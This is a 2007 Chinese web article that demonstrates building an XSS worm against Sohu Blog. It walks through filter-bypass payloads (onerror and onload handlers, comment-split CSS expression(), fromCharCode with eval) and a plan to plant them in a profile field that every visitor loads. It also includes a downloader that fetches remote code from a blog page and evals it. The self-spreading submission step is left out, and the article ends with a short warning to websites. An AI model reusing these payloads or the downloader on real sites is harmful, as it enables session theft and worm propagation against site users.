完整的XSS wrom网站入侵实例示范

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2007-11-19 10:30:26 | 浏览: 人次 ]

  XSS wrom网站如何实现入侵不说废话,且看怎么实现,我先拿SOHU BLOG做示范。 

  1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。

  ’’;:!--"<javascript JAvaSCriPT>=&#{()} \/

  结果

  ’’;:!--"=&#{()} // (&后是amp,论坛过滤了)

  过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。

  2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。  
expression
onerror
onload

  3. 下面开始尝试构造语句。如下:

  <img src="#" style="Xss:expression(alert(’xss’));">

  <img src="#" onerror=alert(’xss’)>

  <img src="http://news.newhua.com/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>

  构造完整标记,页面输出后又全部过滤。

  4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:

  <div style="xss:ex/**/pre/**/ssion(alert(’xss’))">

  5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

  <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">

  //设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。

  6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:

  <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

  7. 感染流程考虑:

  ㈠ BLOG页面的个人档案处是页面通用的

  ㈡ XSS内容写到个人档案处,所有浏览者都会触发XSS

  ㈢ 实现一段提交XSS内容到个人档案的代码.

  8. 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader。

  主要代码:

  function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()

  http://s0n9.blog.sohu.com/31406970.html 页面代码:

  alert%28%27xss%27%29%3B
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)

  其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。

分类导航
本类阅读排行本类推荐排行
  1. 用SockOnline软件轻松突破端口限制
  2. 经典总结:各个网络端口的入侵方法
  3. 教你防御网络游戏外挂暗藏木马全攻...
  4. 防止全局钩子的入侵
  5. 关于密码知识的介绍
  6. 注册表修复不成功深度解析
  7. 黑客能操控美国电网 让美国全国断...
  8. 完整的XSS wrom网站入侵实例示范
  9. 实用Linux用户账户清洁和安全方法
  10. FVR420v 构建稳定网吧的三点...
  11. 黑客实战 系统泄露密码入侵攻击分...
  12. 密码心理学 看黑客是如何来破解密...
  13. 网页“黑手”如何攻击你的Windows...
  14. 黒客有什么可怕 设个陷阱来逮住他
  15. 绕过主动防御 木马病毒刺穿卡巴斯...
  16. 2007年实现网络安全要注意的七项举...
  17. 提高警惕:更多恶意软件攻击Mac计...
  18. 简单修改木马壳头让卡巴斯基哑口无...
  19. 浅谈高手是如何针对DDos部署防御措...
  20. 小心被深山红叶破解Windows管理员...
随机推荐文章

广告位

最近更新  |  关于我们  |  广告联系  |  版权声明  |  帮助中心  |  交流论坛